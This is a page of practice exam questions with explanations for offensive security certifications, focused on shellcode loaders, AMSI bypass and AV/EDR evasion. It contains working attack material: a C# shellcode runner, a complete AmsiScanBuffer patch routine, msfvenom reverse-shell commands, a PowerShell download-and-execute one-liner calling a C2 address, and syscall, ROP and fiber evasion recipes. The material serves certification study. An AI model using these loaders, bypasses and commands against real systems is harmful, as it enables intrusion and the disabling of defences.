Free Offensive Security Exploit Development and Evasion Fundamentals Practice Test 2026
Master Exploit Development and Evasion Fundamentals with free offensive security practice questions covering buffer overflows, shellcode, antivirus and EDR evasion, and bypassing modern defenses like AMSI and AppLocker (OSEP-focused). Each question includes a detailed explanation — no signup required. This domain accounts for 7% of the mock exam and maps to skills tested across eJPT, OSCP, PNPT, OSWE, and OSEP.
Key Exploit Development and Evasion Fundamentals Topics
- Buffer Overflows
- Shellcode
- AV / EDR Evasion
- AMSI Bypass
- Obfuscation
- Process Injection
Free Exploit Development and Evasion Fundamentals Sample Questions with Answers
Each question below includes 4 answer options, the correct answer, and a detailed explanation from the FlashGenius Offensive Security question bank.
Sample Question 1 — Exploit Development & Evasion Fundamentals (OSEP-focused)
You are developing a custom Windows x64 reverse shell payload for an OSEP-style engagement. Your C# loader uses the following code to execute position-independent shellcode stored in a byte array `buf`:
```csharp
[DllImport("kernel32.dll")]
static extern IntPtr VirtualAlloc(
IntPtr lpAddress,
uint dwSize,
uint flAllocationType,
uint flProtect
);
[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(
IntPtr lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr lpParameter,
uint dwCreationFlags,
out uint lpThreadId
);
[DllImport("kernel32.dll")]
static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds
);
// ...
IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)buf.Length, 0x3000, 0x40);
Marshal.Copy(buf, 0, addr, buf.Length);
IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, out threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
```
When executed on a fully patched Windows 11 endpoint with Defender enabled, the payload is immediately quarantined, and AMSI logs show detection of a known Metasploit shellcode signature. You want to keep using C# and in-memory execution, but you must significantly improve evasion without relying on packers or commercial C2 frameworks.
Which of the following changes represents the MOST realistic and effective next step to reduce detection while still executing arbitrary shellcode in memory?
A. Replace `VirtualAlloc` and `CreateThread` with `System.Reflection.Emit.DynamicMethod` to JIT-compile the shellcode bytes into a managed delegate and invoke it directly from C#.
B. Implement a syscall-based loader that resolves `NtAllocateVirtualMemory` and `NtCreateThreadEx` via a clean `ntdll.dll` mapping, uses direct syscalls (no `kernel32` imports), and applies a custom XOR+ROL encryption scheme with runtime decryption and staged decoding of the shellcode.
C. Convert the shellcode to a base64 string, embed it as a resource, decode it at runtime, and execute it using `Process.Start("powershell.exe", "-enc <base64>")` to avoid static shellcode signatures.
D. Use `VirtualProtect` to mark the memory region as `PAGE_EXECUTE_READWRITE` after copying the shellcode, then spawn `rundll32.exe` as a suspended process and inject the shellcode into its memory using `WriteProcessMemory` and `ResumeThread`.
- A. Replace `VirtualAlloc` and `CreateThread` with `System.Reflection.Emit.DynamicMethod` to JIT-compile the shellcode bytes into a managed delegate and invoke it directly from C#.
- B. Implement a syscall-based loader that resolves `NtAllocateVirtualMemory` and `NtCreateThreadEx` via a clean `ntdll.dll` mapping, uses direct syscalls (no `kernel32` imports), and applies a custom XOR+ROL encryption scheme with runtime decryption and staged decoding of the shellcode. (Correct answer)
- C. Convert the shellcode to a base64 string, embed it as a resource, decode it at runtime, and execute it using `Process.Start("powershell.exe", "-enc <base64>")` to avoid static shellcode signatures.
- D. Use `VirtualProtect` to mark the memory region as `PAGE_EXECUTE_READWRITE` after copying the shellcode, then spawn `rundll32.exe` as a suspended process and inject the shellcode into its memory using `WriteProcessMemory` and `ResumeThread`.
Correct answer: B
Explanation: The scenario is classic OSEP-style: you have a straightforward C# shellcode runner using `VirtualAlloc` + `CreateThread` with raw Metasploit shellcode. This is heavily signatured by modern EDR/AV (including Defender) at multiple layers: static signatures on shellcode, API call patterns, and behavioral heuristics.
Why B is correct:
- B describes a realistic, modern evasion technique aligned with OSEP: direct syscalls and custom shellcode obfuscation.
- Instead of importing `VirtualAlloc`/`CreateThread` from `kernel32.dll`, you:
- Parse a clean `ntdll.dll` mapping in memory (e.g., from disk or via manual mapping) to locate syscall stubs for `NtAllocateVirtualMemory`, `NtProtectVirtualMemory`, `NtCreateThreadEx`, etc.
- Build syscall stubs in C# (or via embedded shellcode) that issue direct `syscall` instructions, bypassing userland hooks placed by EDR in `kernel32`/`ntdll` exports.
- Encrypt the shellcode with a custom scheme (e.g., XOR + rotate-left) and decrypt it in small chunks at runtime, reducing static and in-memory signature exposure.
- Potentially stage decoding (e.g., decrypt only the first stub, which then decrypts the rest) to further reduce the window where full shellcode is present in memory.
- This approach addresses:
- Static signatures (custom encryption, non-standard encoding).
- Userland API hooking (direct syscalls instead of high-level Win32 APIs).
- Behavioral detection (less obvious API patterns, no direct `VirtualAlloc`/`CreateThread` imports).
- This is exactly the type of technique emphasized in OSEP: custom loaders, direct syscalls, and shellcode obfuscation.
Why A is wrong:
- `DynamicMethod` and JIT-based execution are interesting, but:
- You still end up with executable memory containing recognizable shellcode bytes.
- The JIT-compiled method will likely still trigger behavioral/heuristic detection when it performs suspicious network or process injection behavior.
- It does not address AMSI or AV signatures on the shellcode itself.
- While using `DynamicMethod` can sometimes evade naive API-based detection, it is not nearly as robust or realistic as direct syscalls + encryption for modern EDR.
Why C is wrong:
- `Process.Start("powershell.exe", "-enc <base64>")` is *more* likely to be detected, not less:
- Defender and most EDRs heavily monitor PowerShell, especially `-enc` usage.
- Base64 encoding is trivial and widely signatured; it does not meaningfully obfuscate payloads.
- You also move from in-memory C# execution to spawning a highly monitored LOLBin (PowerShell), which is counter to the goal of stealth.
- This approach increases your detection surface and is not aligned with modern evasion best practices.
Why D is wrong:
- D still uses classic, heavily monitored APIs: `VirtualProtect`, `WriteProcessMemory`, `ResumeThread`, and process injection into `rundll32.exe`.
- Process injection into `rundll32.exe` is a well-known technique and is strongly signatured behaviorally (suspicious parent-child relationships, memory protections, thread start addresses, etc.).
- Changing to `VirtualProtect` and injecting into a new process does not fundamentally address:
- Static shellcode signatures.
- Userland API hooking.
- It might slightly change the detection profile but is not a "significant" evasion improvement compared to direct syscalls + encryption.
In summary, option B best reflects a realistic, modern OSEP-level improvement: custom syscall-based loader plus non-trivial shellcode obfuscation, directly targeting both static and behavioral detections while staying in C# and in-memory.
Sample Question 2 — Exploit Development & Evasion Fundamentals (OSEP-focused)
During an internal red team engagement, you gain initial access to a Windows Server 2019 host via a webshell. You want to run a custom C-based loader that injects position-independent shellcode into the current process while avoiding common bad characters and minimizing AV detection.
You generate raw x64 shellcode with msfvenom and identify bad characters (`\x00\x0a\x0d\x20`) during testing. You then implement the following encoder in C to transform the shellcode before compilation:
```c
// Original shellcode in buf[]
unsigned char buf[] = { /* msfvenom output */ };
void encode(unsigned char *in, unsigned char *out, size_t len, unsigned char key) {
for (size_t i = 0; i < len; i++) {
out[i] = ((in[i] ^ key) + 3) & 0xFF; // simple XOR + add encoder
}
}
```
At runtime, you decode into an RWX buffer and execute it via a function pointer. However, Defender still flags the payload as malicious shortly after execution, even though no bad characters are present and the encoded bytes do not match known signatures.
Which of the following modifications is the MOST appropriate next step to improve both reliability (re: bad characters) and evasion, while still using custom C shellcode loaders and avoiding external packers?
A. Replace the msfvenom shellcode with a custom staged loader that first decodes a small stub (containing only safe bytes), which then maps a second, larger encrypted payload from an embedded resource using `NtMapViewOfSection` via direct syscalls.
B. Switch the encoder to a simple base64 encoding scheme, store the base64 string in a `char *` array, and decode it at runtime before executing it with `CreateRemoteThread` into `explorer.exe`.
C. Use msfvenom's built-in `-e x86/shikata_ga_nai` encoder repeatedly (3–5 iterations) to ensure polymorphism, then paste the resulting shellcode into your C loader without additional encoding.
D. Change the encoder to a subtract-based scheme (e.g., `out[i] = in[i] - key;`) to avoid arithmetic operations that might be flagged by heuristic engines, and keep using `VirtualAlloc` + function pointer execution in the same process.
- A. Replace the msfvenom shellcode with a custom staged loader that first decodes a small stub (containing only safe bytes), which then maps a second, larger encrypted payload from an embedded resource using `NtMapViewOfSection` via direct syscalls. (Correct answer)
- B. Switch the encoder to a simple base64 encoding scheme, store the base64 string in a `char *` array, and decode it at runtime before executing it with `CreateRemoteThread` into `explorer.exe`.
- C. Use msfvenom's built-in `-e x86/shikata_ga_nai` encoder repeatedly (3–5 iterations) to ensure polymorphism, then paste the resulting shellcode into your C loader without additional encoding.
- D. Change the encoder to a subtract-based scheme (e.g., `out[i] = in[i] - key;`) to avoid arithmetic operations that might be flagged by heuristic engines, and keep using `VirtualAlloc` + function pointer execution in the same process.
Correct answer: A
Explanation: The scenario: you already have a custom C loader with a simple XOR+add encoder. Bad characters are handled, but Defender still detects the payload soon after execution. This indicates that the problem is not just static signatures on the shellcode bytes but also behavioral and structural patterns (e.g., classic msfvenom shellcode, RWX memory, direct function pointer execution, etc.).
Why A is correct:
- A proposes a staged, custom loader architecture that addresses both reliability and evasion:
- **Custom staged loader**: Instead of dropping a full msfvenom payload directly, you use a small, highly controlled stub that:
- Contains only safe bytes (no bad characters).
- Performs minimal logic: decrypts/loads the real payload.
- **Second-stage payload via `NtMapViewOfSection`**:
- The larger, encrypted payload is stored as an embedded resource or in a separate section.
- You map it into memory using `NtCreateSection`/`NtMapViewOfSection` via direct syscalls, avoiding classic `VirtualAlloc`/`WriteProcessMemory` patterns.
- **Direct syscalls**:
- Bypasses userland hooks placed by EDR in `kernel32`/`ntdll` exports.
- Reduces behavioral signatures tied to high-level Win32 APIs.
- **Custom encryption**:
- The second-stage payload is encrypted, reducing static signature exposure.
- This approach is very much in line with OSEP: staged loaders, custom shellcode, direct syscalls, and resource-based payload storage.
- It also improves reliability:
- The first-stage stub can be designed to avoid bad characters entirely.
- The second stage is not constrained by the same bad character limitations, since it's not directly injected via the same vector.
Why B is wrong:
- Base64 encoding is trivial and widely detected; it does not meaningfully improve evasion.
- Injecting into `explorer.exe` via `CreateRemoteThread` is a classic, heavily signatured technique:
- EDRs monitor `OpenProcess`/`WriteProcessMemory`/`CreateRemoteThread` patterns.
- `explorer.exe` is a high-value, high-visibility process.
- This change likely *increases* detection rather than reducing it.
Why C is wrong:
- `shikata_ga_nai` is an old, well-known polymorphic encoder:
- Modern AV/EDR products have strong heuristics and signatures for it.
- Multiple iterations (3–5) do not help; they often make the payload *more* suspicious.
- Using msfvenom encoders alone is not sufficient for modern evasion; OSEP emphasizes custom encoders/loaders, not reliance on Metasploit's built-ins.
- It does not address behavioral detection (RWX memory, typical shellcode patterns, etc.).
Why D is wrong:
- Changing from XOR+add to subtract-based encoding is a minor cosmetic change:
- It does not fundamentally alter the behavioral profile of the loader.
- AV/EDR is not flagging "arithmetic operations" in your C code; it's flagging the resulting shellcode behavior and memory patterns.
- You are still using `VirtualAlloc` + function pointer execution in the same process, which is a classic, well-detected pattern.
- This does not significantly improve evasion or reliability beyond what you already have.
In summary, option A introduces a realistic, modern OSEP-level improvement: a staged loader with a small, safe stub and a second-stage payload mapped via direct syscalls and custom encryption. This addresses both bad character constraints and modern AV/EDR detection mechanisms far more effectively than the other options.
Sample Question 3 — Exploit Development & Evasion Fundamentals (OSEP-focused)
You are developing a custom Windows x64 reverse shell for an internal red team engagement. Your C# loader reflects a position-independent shellcode into memory and executes it via a delegate. The shellcode was generated with:
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.14.5 LPORT=443 -f c -b "\x00\x0a\x0d"
When executed on a fully patched Windows 11 host with Defender enabled, the process terminates immediately and an event log entry shows: "Behavior: Meterpreter shellcode pattern detected". You must modify your approach to evade both static and behavioral signatures while still using a reverse HTTPS channel.
Which of the following is the MOST appropriate next step aligned with OSEP-style tradecraft?
- A. Re-generate the shellcode with msfvenom using the -e x64/xor_dynamic encoder and a custom bad character list, then inject it using the same C# loader.
- B. Write a custom C-based reverse HTTPS shellcode using WinHTTP/WinINet APIs, compile it as a position-independent blob, and embed it into your C# loader instead of using msfvenom output. (Correct answer)
- C. Pack the existing msfvenom shellcode with UPX and store it as an encrypted resource in your C# assembly, then decrypt and execute it at runtime.
- D. Switch to a windows/x64/meterpreter/reverse_tcp payload and tunnel it over HTTPS using stunnel on your C2 server to avoid Defender’s HTTPS inspection.
Correct answer: B
Explanation: The scenario describes Defender detecting the *pattern* of Meterpreter shellcode, not just a simple signature on the binary. This implies both static and behavioral detection of well-known Metasploit shellcode structures and staging behavior.
Why B is correct:
- Option B proposes writing a **custom reverse HTTPS shellcode** that uses native Windows networking APIs (e.g., WinHTTP/WinINet) and is compiled as **position-independent code (PIC)**.
- This avoids the highly recognizable structure of Metasploit’s Meterpreter shellcode (e.g., known stager patterns, syscall sequences, and network behavior) and instead produces a unique, non-framework shellcode.
- Embedding this custom PIC into the C# loader and invoking it via a delegate or CreateThread is a standard OSEP-style technique: you control the shellcode logic, can implement custom encryption/obfuscation, and can mimic benign traffic patterns.
- This directly addresses both **static signatures** (no known Meterpreter byte patterns) and **behavioral detections** (no standard Meterpreter staging, no known C2 protocol fingerprint).
Why A is wrong:
- Using `-e x64/xor_dynamic` only applies a **Metasploit encoder**. Modern EDR/AV products largely ignore simple encoders because they emulate or unpack the shellcode and then detect the underlying Meterpreter behavior.
- Encoders do not fundamentally change the **logic** or **API usage** of the shellcode; they only obfuscate bytes. Once decoded in memory, the same recognizable Meterpreter patterns appear.
- OSEP emphasizes that relying solely on msfvenom encoders is insufficient against modern defenses.
Why C is wrong:
- UPX is a **packer** for PE files, not raw shellcode. Even if you somehow wrapped the shellcode in a PE and packed it, Defender and EDR solutions are aware of UPX and can unpack or emulate it.
- Packing the shellcode as an encrypted resource and decrypting at runtime is a basic obfuscation step, but the **in-memory shellcode** is still the same Meterpreter payload.
- Behavioral detections will still trigger once the shellcode runs and exhibits known Meterpreter behavior.
Why D is wrong:
- Switching to `reverse_tcp` and tunneling over HTTPS with stunnel only changes the **transport layer** between your C2 and the compromised host.
- Defender’s detection in the prompt is based on **shellcode pattern** and behavior, not just network protocol. The same Meterpreter shellcode will still be loaded and executed in memory.
- Even if HTTPS inspection is bypassed, the local EDR/AV on the endpoint will still see the same Meterpreter behavior and flag it.
Relevant technique:
- OSEP-style evasion focuses on **custom shellcode** and **custom C2 protocols** rather than stock Meterpreter. A typical approach:
1. Implement a custom reverse HTTPS implant in C/C++ using WinHTTP (e.g., `WinHttpOpen`, `WinHttpConnect`, `WinHttpOpenRequest`, `WinHttpSendRequest`, `WinHttpReadData`).
2. Compile it as position-independent code (no absolute addresses, careful with relocations).
3. Extract the .text section bytes or use a custom build step to export the shellcode as a byte array.
4. Embed that byte array into your C# loader and execute it via `VirtualAlloc`, `Marshal.Copy`, and a delegate or `CreateThread` P/Invoke.
This approach is exactly the kind of custom tradecraft OSEP expects instead of relying on msfvenom encoders or simple packing.
Sample Question 4 — Exploit Development & Evasion Fundamentals (OSEP-focused)
During an internal assessment, you have a stable foothold on a Windows Server 2019 machine with Defender and AMSI enabled. Your goal is to execute a PowerShell-based in-memory loader that pulls and runs a .NET assembly from your C2. The following one-liner is blocked by AMSI with an "AMSI: script content blocked" alert:
powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('https://10.10.14.5/loader.ps1')"
You decide to embed the loader logic into a C# assembly and call PowerShell APIs directly from managed code to evade AMSI. Which of the following approaches BEST reflects a modern OSEP-style AMSI bypass for this scenario?
- A. In your C# program, call powershell.exe via Process.Start with the -ExecutionPolicy Bypass flag and pass the original one-liner as an argument, relying on ExecutionPolicy to bypass AMSI.
- B. Use C# to reflectively load System.Management.Automation, create a PowerShell instance, and patch the AmsiScanBuffer function in amsi.dll at runtime (e.g., via VirtualProtect + writing a stub that returns S_OK) before invoking AddScript(). (Correct answer)
- C. Base64-encode the entire PowerShell script, then in C# decode it at runtime and pass it to powershell.exe -EncodedCommand, assuming AMSI only scans plain-text scripts.
- D. Use C# to download loader.ps1 to disk with WebClient, mark it as hidden and system, and then execute it with powershell.exe -File, relying on file attributes to avoid AMSI scanning.
Correct answer: B
Explanation: The question focuses on **AMSI-aware** PowerShell execution and how to evade AMSI when using PowerShell from a .NET context, which is a core OSEP topic.
Why B is correct:
- Option B describes a **managed AMSI bypass** that:
1. Reflectively loads `System.Management.Automation` (no powershell.exe child process needed).
2. Creates a `PowerShell` instance in-process.
3. Locates `amsi.dll` and the `AmsiScanBuffer` export.
4. Uses `VirtualProtect` (via P/Invoke) to change the memory protection of `AmsiScanBuffer`.
5. Overwrites the first few bytes with a stub that forces a benign return (e.g., always returning `S_OK` or a success code without scanning).
6. Then calls `AddScript()` / `Invoke()` on the `PowerShell` object.
- This is a **runtime patch** of AMSI’s scanning function, which is a modern and realistic OSEP-style technique. It bypasses AMSI for that process regardless of how the script is provided.
Why A is wrong:
- `-ExecutionPolicy Bypass` only affects **PowerShell’s execution policy**, not AMSI.
- AMSI is invoked by the PowerShell engine regardless of execution policy. Defender will still scan the script content.
- Simply spawning `powershell.exe` with `-ExecutionPolicy Bypass` does not evade AMSI and is widely known and detected.
Why C is wrong:
- `-EncodedCommand` is a common technique but **does not bypass AMSI**. The PowerShell engine decodes the Base64 and then passes the resulting script content to AMSI.
- AMSI operates on the **de-obfuscated** script, so encoding is not sufficient.
- This is a basic obfuscation step, not a true AMSI bypass.
Why D is wrong:
- Downloading the script to disk and marking it hidden/system does not affect AMSI.
- When `powershell.exe -File` runs the script, the content is still passed to AMSI for scanning.
- Writing to disk also increases forensic footprint and detection surface.
Relevant technique (OSEP-style):
- A typical C# AMSI patch flow:
```csharp
[DllImport("kernel32.dll")]
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32.dll")]
static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport("kernel32.dll")]
static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
void PatchAmsi()
{
IntPtr hModule = GetModuleHandle("amsi.dll");
IntPtr addr = GetProcAddress(hModule, "AmsiScanBuffer");
uint oldProtect;
VirtualProtect(addr, (UIntPtr)0x5, 0x40, out oldProtect); // PAGE_EXECUTE_READWRITE
// Example x64 patch: mov eax, 0; ret
byte[] patch = new byte[] { 0xB8, 0x00, 0x00, 0x00, 0x00, 0xC3 };
Marshal.Copy(patch, 0, addr, patch.Length);
}
```
- After calling `PatchAmsi()`, any subsequent `PowerShell.Create().AddScript("...").Invoke()` calls in that process will not be scanned by AMSI.
This is the kind of low-level, in-memory evasion technique emphasized in OSEP rather than relying on flags or simple encoding.
Sample Question 5 — Exploit Development & Evasion Fundamentals (OSEP-focused)
You are exploiting a custom 64-bit Windows service vulnerable to a stack-based buffer overflow. During fuzzing, you determine that sending 520 bytes to the 'USER' command overwrites the return pointer. You craft the following Python exploit skeleton:
payload = b"A" * 504
payload += b"BBBBBBBB" # Overwrite RIP
payload += b"C" * 16
s.send(b"USER " + payload + b"\r\n")
You attach x64dbg to the service and confirm that RIP is overwritten with 0x4242424242424242. You want to perform a ROP-based exploit that calls VirtualProtect to make your shellcode (placed after the overflow) executable, then returns into it. Which of the following is the MOST important next step to build a reliable exploit that will also help with AV/EDR evasion?
- A. Use msfvenom to generate windows/x64/exec shellcode, append it directly after the RIP overwrite, and brute-force a JMP RSP gadget in the main module to redirect execution to the shellcode.
- B. Identify non-ASLR, non-DEP modules, locate a ROP chain that sets up VirtualProtect’s arguments (including a RWX protection flag) using POP gadgets, and adjust the payload layout to place shellcode at a predictable address after the ROP chain. (Correct answer)
- C. Switch to a 32-bit version of the service to simplify ROP chain construction, then use a classic SEH overwrite technique to bypass DEP and execute your shellcode.
- D. Use a NOP sled of 0x90 bytes before your shellcode so that any partial overwrite of RIP will eventually land in the sled and slide into your shellcode, avoiding the need for a ROP chain.
Correct answer: B
Explanation: The scenario describes a **64-bit Windows** stack-based overflow with DEP and likely ASLR in play (modern Windows service). You want to call `VirtualProtect` via ROP to mark your shellcode region as executable, then jump to it. This is a classic OSEP-style exploit dev scenario.
Why B is correct:
- Option B outlines the correct **64-bit ROP strategy**:
1. Enumerate loaded modules (e.g., in x64dbg or with mona.py) to find modules without ASLR and ideally without DEP (or at least with predictable addresses).
2. Locate a ROP chain in such a module that:
- Sets up the correct arguments for `VirtualProtect` on x64 (RCX, RDX, R8, R9, and stack for the 5th argument), e.g.:
- `lpAddress` → address of your shellcode buffer
- `dwSize` → size of the region
- `flNewProtect` → `0x40` (PAGE_EXECUTE_READWRITE)
- `lpflOldProtect` → writable memory
- Calls `VirtualProtect` (e.g., via a `CALL RAX` gadget after loading the function address into RAX).
3. Place your shellcode **after** the ROP chain at a predictable offset so that once `VirtualProtect` returns, execution can be redirected to the now-RWX shellcode.
- This approach respects modern mitigations (DEP, ASLR) and is realistic for 64-bit exploitation.
- From an evasion perspective, using a **custom shellcode** region and `VirtualProtect` can help you avoid some basic AV heuristics that look for classic shellcode patterns in default locations; you can also encrypt/obfuscate the shellcode and decrypt it just before execution.
Why A is wrong:
- Simply appending msfvenom shellcode and using a `JMP RSP` gadget is a classic 32-bit style technique and assumes that the stack is executable.
- On modern Windows, DEP will prevent execution from a non-executable stack region, so a direct `JMP RSP` into shellcode will typically fail.
- Brute-forcing a `JMP RSP` gadget is not a robust or professional approach; you need a structured ROP chain to bypass DEP.
Why C is wrong:
- You cannot arbitrarily "switch" the target to 32-bit; the service is 64-bit.
- SEH-based exploitation is primarily a **32-bit** technique and is not applicable in the same way on 64-bit Windows.
- OSEP expects you to handle 64-bit ROP and calling conventions, not downgrade the target architecture.
Why D is wrong:
- A NOP sled (`0x90` bytes) is a legacy technique that assumes you can execute from the buffer region.
- With DEP enabled, the stack (and often heap) is non-executable, so landing anywhere in the buffer will still not allow code execution.
- It also does nothing to address ASLR or the need to call `VirtualProtect`.
Relevant technique (high-level ROP plan):
- After confirming control of RIP, you would:
1. Use a tool like mona.py (`!mona modules`, `!mona rop`) to identify suitable modules and gadgets.
2. Build a chain such as:
- `POP RCX; RET` → `lpAddress` (pointer into your buffer)
- `POP RDX; RET` → `dwSize`
- `POP R8; RET` → `flNewProtect` (0x40)
- `POP R9; RET` → `lpflOldProtect` (writable memory)
- Load `VirtualProtect` address into RAX (e.g., via IAT or known offset)
- `CALL RAX` or `JMP RAX`
- After `VirtualProtect` returns, `RET` into your shellcode address.
3. Layout the payload as:
```
[padding to RIP]
[ROP chain gadgets & arguments]
[shellcode (possibly obfuscated)]
```
This is the exact kind of structured exploit development and mitigation bypass that OSEP focuses on.
Sample Question 6 — Exploit Development & Evasion Fundamentals (OSEP-focused)
You are developing a custom Windows x64 reverse shell payload for a mature blue-team environment where AMSI and a modern EDR are deployed. Your initial C# loader that uses `Assembly.Load(byte[])` on a raw Meterpreter DLL is immediately blocked, and AMSI logs show detection on in-memory PE characteristics. You decide to switch to a position-independent shellcode loader written in C that:
1. Stores the encrypted shellcode in a `.data` section
2. Decrypts it at runtime using a custom XOR key
3. Resolves WinAPI calls dynamically via `LoadLibraryA` and `GetProcAddress`
4. Uses `VirtualAlloc` + `RtlMoveMemory` + `CreateThread` to execute the shellcode
However, the payload is still being flagged by the EDR shortly after execution, even though no AMSI events are logged this time. Which of the following changes is MOST likely to reduce detection while still achieving code execution?
- A. Replace `VirtualAlloc` with `HeapAlloc` and keep using `CreateThread` to execute the shellcode from the allocated region.
- B. Use `VirtualAlloc` with `PAGE_READWRITE` only, then change protection to `PAGE_EXECUTE_READ` using `VirtualProtect` immediately before execution, still using `CreateThread`.
- C. Switch to a "stack-stomping" or fiber-based execution technique (e.g., `CreateFiber` + `SwitchToFiber`) and perform a staged RW → RX transition with a randomized sleep and indirect syscalls for memory allocation. (Correct answer)
- D. Keep the current loader but add a 30-second `Sleep` before calling `CreateThread` to bypass heuristic detection based on short-lived processes.
Correct answer: C
Explanation: The scenario describes a modern EDR that is not relying solely on AMSI or static signatures. The loader is already using encrypted shellcode and dynamic API resolution, but is still detected. This strongly suggests behavioral detection: RWX memory, classic `VirtualAlloc` + `CreateThread` patterns, and suspicious thread start addresses.
Why C is correct:
- Modern EDRs heavily monitor common shellcode execution patterns: `VirtualAlloc`/`VirtualAllocEx` with `PAGE_EXECUTE_READWRITE` followed by `CreateThread` or `CreateRemoteThread` where the start address points to non-module memory.
- Switching to a more evasive execution technique (stack-stomping, fibers, or thread hijacking) and staging the memory protections (RW → RX) reduces obvious behavioral indicators.
- Using indirect syscalls (e.g., via a library like SysWhispers or manually crafted syscall stubs) for memory allocation and protection changes can bypass user-mode API hooks that EDRs rely on.
- Randomized sleep and non-standard control-flow (e.g., `CreateFiber` + `SwitchToFiber`) make the execution graph less obviously malicious.
A realistic approach:
- Allocate memory as RW using an indirect syscall to `NtAllocateVirtualMemory`.
- Decrypt shellcode into that region.
- Change protection to RX using an indirect syscall to `NtProtectVirtualMemory` just before execution.
- Use a fiber or hijack an existing thread’s context (e.g., `SetThreadContext`) instead of `CreateThread`.
This aligns with OSEP-level techniques: avoiding classic patterns, using indirect syscalls, and non-standard execution primitives.
Why A is wrong:
- `HeapAlloc` still allocates memory in a way that is observable and does not inherently avoid detection. You still need to mark memory executable at some point.
- You’re still using `CreateThread` with a start address pointing to non-module memory, which is a strong EDR heuristic.
- Many EDRs hook `CreateThread` and inspect the start address and memory region attributes, regardless of whether the memory came from `VirtualAlloc` or `HeapAlloc`.
Why B is wrong:
- Using RW → RX (instead of RWX) is better than RWX, but the pattern `VirtualAlloc` → `VirtualProtect` → `CreateThread` is still a very common shellcode execution pattern and widely detected.
- EDRs monitor `VirtualProtect` calls that change memory to executable, especially when followed by a new thread starting in that region.
- This is an incremental improvement but often insufficient in a mature environment.
Why D is wrong:
- Adding a fixed `Sleep` is a naive evasion attempt and is unlikely to bypass behavioral detection. EDRs don’t just look for short-lived processes; they inspect API call sequences and memory characteristics.
- A 30-second delay may evade some sandbox timeouts but does not change the fundamental malicious behavior pattern.
Relevant technique summary (OSEP-level):
- Avoid classic `VirtualAlloc` + `CreateThread` patterns.
- Use staged RW → RX transitions and indirect syscalls to bypass user-mode hooks.
- Consider alternative execution primitives: fibers, APC injection, thread hijacking, stack-stomping.
- Combine encryption/obfuscation with behavioral evasion, not just one or the other.
Offensive Security Prep Pack Overview
- Questions: 80 in a full mock exam (200+ in the bank)
- Time: 120 minutes for the full mock
- Target score: 80%+
- Domains: 10 (this is 7% of the exam)
- Aligned certs: eJPT, OSCP, PNPT, OSWE, OSEP
Other Offensive Security Domains
Start the free offensive security Exploit Development and Evasion Fundamentals practice test now | 10-question quick start | All offensive security domains | All Sample Tests